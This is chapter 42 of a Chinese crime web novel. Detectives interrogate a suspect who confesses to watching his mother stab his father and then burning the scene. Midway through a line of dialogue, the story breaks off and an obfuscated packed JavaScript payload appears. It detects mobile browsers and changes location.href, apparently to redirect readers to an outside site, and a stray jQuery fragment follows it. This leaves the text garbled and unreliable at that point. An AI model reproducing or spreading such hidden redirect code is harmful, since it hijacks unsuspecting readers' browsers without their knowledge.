42.认罪

作品:《浴火而生

    “你爸的那身血衣怎么来的?”班青适时地打断周凯的回忆。


    “他用那把刀在身上割了几个口子,然后让我妈把衣服带走。”


    汪明远自己动的手,跟周琳交代的一致。


    但是……蔡小新他们那日从排污管道中发现的两把刀子,上面提取到的血液并没有交叉……


    班青和白杨默契地对视一眼,两人心照不宣地没抓着这一点。


    周凯继续回忆,“之后……之后就按照我爸的计划,我妈带走血衣,走之前用绳子把我爸绑在了一个柱子上。不过中间发生了一个不怎么愉快的小插曲。”


    “什么小插曲?”白杨皱眉。


    “我爸发现了。”


    “发现什么?”


    “他发现我妈真的把他绑得死死的,他挣脱不开,就大声质问我妈到底想要做什么。我亲耳听到,我妈说,她厌倦了跟他生活的这几十年,也痛恨极了跟他生下我,所以她要结束这一切。”


    周凯说到最后已经泣不成声,他想要压抑自己抑制不住宣泄而出的情感,想要在两个陌生人面前隐藏起自己脆弱的一面,但是想到那日周琳提到他时的嫌恶,他实在是控制不住。


    “给,你先擦擦眼泪吧,别哭了。”班青眼中满是怜悯,她不知道什么时候走了过来,站到周凯的身旁,递给他一张纸巾。


    周凯感到有一只轻柔的手,像是年少时候哄睡自己时的触感一样,轻拍在他肩膀上。


    这样的温柔和暖意让他心头大恸,不知想起了什么,他接过纸巾,将脸埋在里面,发出闷闷的声音,而后就只能看到他的肩膀不住地颤抖。


    白杨的脸隐藏在昏暗的光线之中,看不到他的神情。


    于是,安静的审讯室里就只有周凯闷声地低泣声久久飘荡。


    白杨的耐心向来十分有限,他也不是个喜欢男人哭的性格,就在他的耐心快要消磨殆尽的时候,周凯停了声。


    “对……对不起,打扰你们的工作了。”尾音中还带着很重的哭腔,但是好歹能完整说出话来了。


    白杨随口应付:“没事。”


    “我妈说完之后,我爸感受到了危险,他很害怕,却不张口祈求,而是带着一种傲慢的语气,还以为他能掌控人一样,大骂我妈是蠢人。


    “……所以我妈受些了刺激,捡起地上的刀子,胡乱向他捅了几刀。”


    周凯吸了吸鼻子,用袖子擦干脸上不知道什么时候流下的泪水。


    他的耳朵和脖子因为情绪一直压抑而变得通红,声音也变得断断续续。


    “我那时候更害怕了,我……我想跑出去阻止我妈,但是我的双腿一直在抽搐,我使不上来力气。我太害怕,嘴里也发不出声音。等我恢复以后,我再抬头一看,我妈已经走了,只留下我爸奄奄一息地瘫坐在地上。我真的好后悔……”


    周凯的眼泪大颗大颗地砸在他胸襟,吸鼻子的声音也越来越沉闷。


    “那把刀在哪儿?”


    周凯抬起头,小声道:“我妈离开之前去了我爸抛尸的方向,应该……应该和那人的尸体丢到了一个地方。”


    班青挑了挑眉头,继续问他:“然后呢,你怎么做的?”


    周凯的声音更加断断续续。


    “我恢复力气之后,赶紧从角落里跑出来救我爸。但我慌得七手八脚,飞奔到他身边的时候,他靠着柱子,看着出气多,进气少。我知道错了,我大声喊他的名字,但是他连眼睛都睁不开,脑袋歪在一旁,没过多久就没了气。”


    班青不经意地瞟了一眼旁边的白杨,他听得很是认真。


    白杨:“之后……你就走了?”


    周凯叙述的声音已经变成了委屈的呜咽。


    “我爸断气之后,我越想越害怕。我本来只是想趁此机会要点钱,没想到竟然会发生这样的事情。


    “我本来应该在安城,14号晚上却出现在关图县,我爸正好又在那晚上死了,无论如何,就算我长了八张嘴也说不清楚。


    “出了水泥厂之后,我不敢往厂区外走,到处都是摄像头,我又能去哪里?所以我在离水泥厂不远的烂尾楼里待了两天。”


    周凯抹了抹眼泪,语气更加弱小和委屈,隐隐能听出几分后悔。


    “为了混淆视线,我的手机被我放在安城的家里,所以我什么消息都不知道。但越是未知,越是让人感到恐惧。


    “有时候,我感觉会东窗事发,毕竟你们已经开始找我了解情况。有时候,我又觉得事情会像我爸计划的那样,你们只会怀疑是那个男的杀掉了他。有时候,我又会回想,现场会不会留下我的DNA,比如我的头发,蚊子咬我留下的血迹……


    “我想了很多很多,16号晚上我实在受不了了,就在烂尾楼里找到些汽油,回到现场,一把火点燃了所有,我只想把我存在过那里的痕迹全部抹去……”


    周凯终于交代完了,好像紧绷多日的弦终于断开,他再也不愿压抑自己的情绪,捂住脑袋,双肩不停地颤抖着,痛哭流涕。


    “得,认认真真听了半天,还以为那小子终于说实话,结果还跟咱们这儿绕圈。”


    白杨越说越生气,连带着觉着碗里的饭菜也越来越难吃,“啪”一声,把筷子重重地搁在不锈钢餐盘子里。


    “什么东西啊,这都是些啥?这些饭菜是人能做出来的吗?越改进越难吃!食堂师傅趁早别干了,跟我换一下工作得了!”白杨说着,从嘴里吐出来一个夹在米饭里的小石子。


    “我的哥,你倒是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209492|179109||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想得挺美。”蔡小新嗤笑一声,用咀嚼硬纸板的力度费力嚼着嘴里的饭菜,一嘴含糊,“人家师傅又不傻,又苦又累又挨骂,谁乐意跟咱们换?”


    班青一脸疲惫,有气无力,“我还想着,早点结案了跟许姝规划十一去哪儿玩,按照现在这进度来看,十一别想出去了。”


    “青姐,我觉着啊,咱们可能元旦都别想出去玩儿了。”梁斌津津有味地吃着,捏着筷子的手一顿,“也有可能明年五一都出不去。”


    他是四个人当中最不挑食的,也最善良,哪怕厨师把青菜炒牛肉做成了青菜炒鞋垫儿,他也能面不改色地吃下去,还能善解人意地夸食堂师傅好手艺。


    “去!闭上你的乌鸦嘴!”三人异口同声地说道。


    “不过我还真觉得这案子够复杂,说不定明年五一真的……”蔡小新话音未落,班青和白杨就直勾勾地盯着他,吓得他差点一口噎住。


    蔡小新话锋一转,“说不定咱们再加把劲,十一就能结案了。我觉得行,咱们可以的,fighting!”


    除了倒霉,见风使舵、察言观色是蔡小新最显著的第二个特点。


    “话说青啊,你那在关图中学教书的朋友,现在咋不给你送点加餐来了?”白杨秉承着不浪费的原则,又捡起餐盘里的筷子,费力地跟盘子中剩下的饭菜作斗争。


    班青夹了一片皮蛋黄瓜汤里的黄瓜,含糊道:“她最近太忙了,没有时间。本来带高三毕业班就累,因为汪明远的事情,班上有好多事情需要接手,更腾不出手。”


    “嘎嘣!”黄瓜压根没熟,估计就放进汤里面洗了一下。


    因为饭菜太难吃,也可能是受到案子的影响,四个人这顿午饭吃得味同嚼蜡,不到半个小时就吃完了。


    四个人刚走到单位门口,班青和白杨就看到一个熟悉的人。


    来人拿着一个笔记本,背着手,正在目不转睛地看公告栏上的宣传海报。


    白杨走向他,轻轻拍了拍对方的背,用不太确定的语气试探地问道:“李前辈?”


    后者转过身来,见到是白杨和班青,黝黑的脸上一下子就带了几分笑意。


    “嘿,我才来没多久,估计这个点儿你们正在吃饭,不好给你们打电话,就在这儿等你们,结果你们这么快就吃完了。”


    “没办法,食堂的饭菜没办法吃不快……”白杨讪讪地摸摸头。


    此时的他不像平时在梁斌和蔡小新面前那样,故作老成,面对这个年长他快二十岁的前辈,不自觉地就露出几分愣头青的呆愣来。


    “什么?”白杨越说声音越小,说到最后李江涛什么也没听到。


    “没什么!走吧,李前辈,咱们先进去坐。”班青走在最前面,引着李江涛往里走。